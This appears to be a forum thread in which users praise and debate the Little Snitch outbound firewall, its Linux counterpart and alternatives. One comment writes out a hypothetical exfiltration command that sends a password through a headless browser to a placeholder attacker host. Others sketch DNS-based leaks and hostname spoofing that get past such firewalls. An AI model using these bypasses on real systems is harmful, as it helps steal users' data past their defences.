8 ms·
Little Snitch is one of my favorite apps in the world, and it's one of the very first things I install on any new Mac. For those unfamiliar, it monitors and re
by kstrauser 7y ago
Little Snitch is one of my favorite apps in the world, and it's one of the very first things I install on any new Mac.
For those unfamiliar, it monitors and restricts outbound connections that your applications are trying to make. For example, you might be working away and suddenly get a popup saying:
"Chrome is making an outbound TCP connection to adserver.trackallusers.com, port 9876. Do you want to:
- Allow or Deny the connection...
- To all hosts in the domain trackallusers.com, that specific hostname, or that specific IP address, or all hosts everywhere...
- On this port or any port...
- Protocol TCP...
- Once, or for the next 15 minutes / 1 hour / 2 hours / until I reboot / forever"
...and it will postpone making that connection until you answer. You can set defaults for that popup according to your own preferences, for instance to block by domain name instead of hostname so that "server432.example.com" and "server592.example.com" don't have to be managed separately.
When you first run Little Snitch, it's a bit overwhelming. Safari and Chrome want to talk to all kinds of things on TCP/80 and 443, so you pretty quickly say they're allowed to make any 80 or 443 connection they want without further pestering you. Soon you have a good coverage of your apps' normal behaviors, and that's where it really shines. For instance, suppose your text editor commonly talks to "updateserver.example.com" to check for app updates. But this morning, it's suddenly trying to chat with "exfiltrator.badhost.ru". Uhh, maybe you want to block that and see what's going on.
And my earlier Chrome example isn't an exaggeration. It's surprising how many websites want to connect to ad or tracking servers on nonstandard ports. I actually appreciate that a lot because those connections stick out like sore thumbs and I can permanently deny them.
Sorry if this reads like an ad pitch for Little Snitch. I'm not associated with them, but I'm a very, very happy customer. I'm very happy to see something like it becoming available for my friends using Linux is awesome.
- korethr 7y agoI will be curious what kinds of bugs blocking said requests flushes out of various applications. I expect some applications will be built robustly and gracefully accept that adserver.trackallusers.com has suddenly ceased to exist forever, and continue to do what the user expects them to do. But, I will not be surprised if other applications turn out to crash, turn into security vulnerabilities, or throw up annoying popups that say something like, "We use advertisements to pay for this awesome free service we give you. :( Please unblock evil-cabal.org. An assassin has been dispatched to ensure your compliance." Okay, maybe I'm not expecting that last one quite so much, but crashes and breakages are totally plausible, IMO.
- LinuxBender 7y agoThere are numerous Mac, Windows and Linux apps that do not behave well when they detect the network is up, but they can not reach a resource. Most of the time I run into these on Windows. Some apps can lock up the desktop until the flow is permitted, but permitting the flow requires the desktop.
- rraghur 7y agoI've had back payment pages fail because of ad blocking with pi hole! Something from dev.visualweboptimizer.com! Had to make an exception
- londons_explore 7y agoWhy do people use non-standard ports for public internet-facing services? To me it just smells of "we don't have enough public IP's, and still manage our network with port-forwarding rather than a proper application level loadbalancer". That matches my observations that 'ancilery'services frequently seem to be on non-standard ports - like the employee login portal, the company webchat service, the analytics service, etc.
- closeparen 7y agoOld school network engineers are more comfortable with firewall rules and routing tables than nginx configs?
- shanemhansen 7y agoTo me it smells of "we are running some random app server as a non-profit user and need to bind to a high numbered port"
- zozbot234 7y ago> we don't have enough public IP's I mean, we kinda knew that already. Port numbers give you a free 16-bit address space per public IP, that's nothing to sneeze at.
- Thriptic 7y agoSecurity through obscurity is one reason. A lot of script kiddies will blast away at services on well known ports. Simply changing the port off the default cuts down on a lot of script based attacks, inhibits generic port scans, and makes it easier to differentiate a deliberate, human attacker from a script. In this specific case, I don't know. Perhaps rotating through ephemeral ports is done to mess with simple traffic filtering rules on firewalls?
- mrspeaker 7y agoUsing Little Snitch, and seeing the amount of phoning-home Chrome was doing was my "straw that broke the camels back". It tipped me over the edge: drove me back to Linux, Duck Duck Go, NextDNS (I'm not confident enough to "roll my own), turning everything off on my phone (location services, search helpers etc), and not using software that checks for updates or does the least amount of telemetry (I went from VSCode to Emacs)... favoring anything that doesn't track/use cdns/anything by default: whatever is vaguely usable (no matter how annoying) and tracks the least, wins. I could block it all with Little Snitch - but it's a technical solution to a political problem. I miss a lot of the convenience, and I miss a lot of the slickness/lovely UIs... but Lil' Snitch taught me that that's the price!
- blattimwind 7y ago> NextDNS (I'm not confident enough to "roll my own) - Install knot-resolver - Done.
- karmakaze 7y agoMaintaining Lil'Snitch's access list whenever apps get updated reminded me that it goes against the reason why I started using MacOS in the first place. It was especially hard to justify when someone else is casually browsing on one my machines and a new connection request pops up.
- c0llision 7y agoOnce you whitelist firefox, couldn't a malicious app bypass this by simply executing "firefox -headless http://badwebsite.com/?exfilleddata=usersPass" http://badwebsite.com/?exfilleddata=usersPass"?
- m463 7y agoYou don't whitelist firefox. You whitelist firefox talking to www.foo.com port 80.
- c0llision 7y agoYou would need to do that for every domain firefox talks too, which will quickly get annoying, as stated in the original comment: Safari and Chrome want to talk to all kinds of things on TCP/80 and 443, so you pretty quickly say they're allowed to make any 80 or 443 connection they want without further pestering you
- m463 7y agoYou can set it up to allow/block a site or domain forever. For example, block graph.facebook.com forever. You can also look in the little snitch network monitor and block sites after the fact for the future. It's a lot less tedious if you know the keyboard commands: alt-return denies the connection, and cmd-return allows it.
- gruez 7y agoHow are you going to handle CDNs? Are you going to whitelist all the [random letters].cloudfront.net? What about public websites? You can conceivably establish a communications channel over any popular social media site.
- m463 7y agouMatrix helps with all of this to block domains by name in the browser. I suspect Little Snitch has a sort of hole in it's design. I think the DNS lookups go through before you get the allow/deny dialog box. So your browser might do a dns lookup for user-gruez-jan-2020-in-timbuktu.<random>.trackingjerks.net which would get around little snitch.
- m463 7y agoI believe there is one hole in little snitch. Looking up 2020-01-31-user-kstrauser.example.com might cause a DNS lookup to go out, even though little snitch will block the subsequent web traffic to it. I think umatrix helps with that.
- sk5t 7y agoThe DNS lookup would be of the form "request PTR record for 128.2.1.2" - this would leak a little info from the nearest recursing resolver, but maybe not enough to be useful to an attacker. I suppose Snitch might conceivably use some other, non-DNS repository like ipinfo.io though.
- m463 7y agoI think I disagree. It would be: - browser looks up 2020-01-31-user-kstrauser.example.com - dns lookup proceeds, returns 128.2.1.2 - browser connects to 128.2.1.2 - little snitch intercepts - little snitch does reverse lookup - dialog box
- beagle3 7y agoI don’t know how little snitch does it, but iirc our old fortinet at the office caches the DNS response for logging, so that no extra reverse dns requests are needed (and if there isn’t a cached one, you have to explicitly ask to look it up when looking at the logs)
- labawi 7y agoFrom a quick look in opensnitch, it should be tracking DNS replies in UDP packets. I don't see it filtering the responses, so spoofing hostnames or even overloading the translation table (memory exhaustion) might be possible, even for network attackers.
- vetinari 7y agoIt is best effort anyway, just informative. If the app resolves two hostnames (e.g. useful-serivce.cloudprovider.com and malware.cloudprovider.com), that are both at the same ip, and then connects to that ip, which of the hostnames it connects to? Without sniffing Host header (for http) or SNI (for TLS pre-ESNI), it is just a guess.
- kccqzy 7y agoIt used to be much more useful when apps themselves make connections to their own servers. Nowadays everyone seems to ask nsurlsessiond to make a connection to AWS on port 443.
- mokus 7y agoAny equivalent behavior on Linux could fairly easily be intercepted anyway by adding hooks to the equivalent service process though, right?
- GeekyBear 7y agoI will second the notion that setting up your preferences after installing little snitch is a bit overwhelming, especially if it's on a machine where you have installed a lot of software. It's alarming just how much software starts running in the background after a startup, and starts making connections you didn't know about before you ever open a single user application.
- kccqzy 7y agoAlso I personally also am a huge fan of Little Snitch, I do want to caution everyone who rushes to install that, after all, like all software Little Snitch has bugs, and because it runs in ring 0, any bugs can potentially have annoying consequences, including being exploited by malware. See for example this news report[0] or the DEF CON talk[1]. I personally do use Little Snitch, but this is after consideration of my own privacy desire against risk of security holes being exploited. I personally chose the former. You should personally weigh these and decide. [0]: https://www.theregister.co.uk/AMP/2016/08/03/mac_firewall_littlesnitch/ https://www.theregister.co.uk/AMP/2016/08/03/mac_firewall_li... [1]: https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Patrick-Wardle-99-Problems-Little-Snitch.pdf https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20pre...
- webmobdev 7y agoYeah, Little Snitch is quite popular on Mac. But a much, much cheaper and much easier and simpler to use software is TripMode - https://www.tripmode.ch/ https://www.tripmode.ch/ ... While it is not marketed as an outbound firewall, it does a great job as one. It isn't as sophisticated as Little Snitch and doesn't offer fine-grained levels of filtering but that's a plus for those who are not advanced users - it simply allows or blocks an "app" from connecting to the internet. It can also monitor your bandwidth usage. (The Mac version is very stable, but I found the Windows 10 version to be a bit buggy).
- ShakataGaNai 7y agoSo I love TripMode but it's a very different beast. LittleSnitch = I want to monitor every connection every application makes. TripMode = I want to disable Dropbox, Apple Software Update & Steam while on MyPhoneHotspot. That being said, I wish there was an OpenTripMode, or... something on Linux.
- webmobdev 7y agoYeah, Little Snitch offers fine grained filtering control as it works at the "connection" level monitoring each and every connection, where as TripMode works at the "app" level only and either allows or blocks them from accessing the internet without any regards to the number of "connections" made or to whom the "connection" is made to. And it works on broadband / fibre connections too, and not just for mobile data. (Tip: Private Eye is a free software that allows you to monitor all connections made by any system or application softwares on your Mac. It's now bundled as part of another paid outbound firewall, similar to TripMode, called RadioSilence - https://radiosilenceapp.com/ https://radiosilenceapp.com/ but the free "monitoring only" version of Private Eye can still be found on the net).
- gxnxcxcx 7y agoOn the cheaper side on the spectrum but not quite as cheap as TripMode, there is Vallum: https://vallumfirewall.com https://vallumfirewall.com I've been using it for years and the only feature I miss is domain/subdomain blacklisting. If there is no need for such a granular control of outgoing connections for any given application, there's also the no-cost and open-sourced LuLu: https://github.com/objective-see/LuLu https://github.com/objective-see/LuLu
- hi5eyes 7y ago> Sorry if this reads like an ad pitch for Little Snitch. I'm not associated with them, but I'm a very, very happy customer no need, little snitch is one of the most popular programs for power mac users; I've been a fan since at at least 2011
- castillar76 7y agoHuge fan of Little Snitch, and I agree: it's been really useful for discovering and shutting down all the telemetry and ad traffic. One thing people don't realize is that you can take many of the popular ad-blocking lists and subscribe to them in Little Snitch! Peter Lowe's Block List, for instance, produces a plain-text format (https://pgl.yoyo.org/adservers/serverlist.php?hostformat=littlesnitch-rule-group-subscriptions&mimetype=plaintext https://pgl.yoyo.org/adservers/serverlist.php?hostformat=lit...) that's perfect: you subscribe to it in Little Snitch, and it automatically blocks everything on the list everywhere, with updates pulled on the regular from the pgl.yoyo.org servers. One frustration I've had lately—and it's not Little Snitch's fault!—is the number of unnamed micro-service endpoints in use. Office365, Dropbox, and others have started using random cloud IPs for their content distribution endpoints, so you get a popup for "OneDrive wants to connect to XXX.YYY.ZZZ.QQQ on port 25427. Allow?" You have no basis for knowing if that IP is legit or not, you can't use the port to judge it, and you know if you cut off too many of them the app will break. Super frustrating, and seems deliberately designed to break things like LS.
- pgl 7y agoGlad you're finding my list useful. There are very few downloads in Little Snitch format per day (419 today so far out of 2.7m accesses).
- sgsvnk 7y agoWow, this should go on the readme. I'm sure this helps a lot of people understand what the app does in simple terms.
- dzhiurgis 7y agoDoes Little Snitch work as a kernel extension? I use Lulu but it really screws with Virtualbox and generally can really stress kernel if you try to do something very network intensive. Would love to find better alternative, ideally free.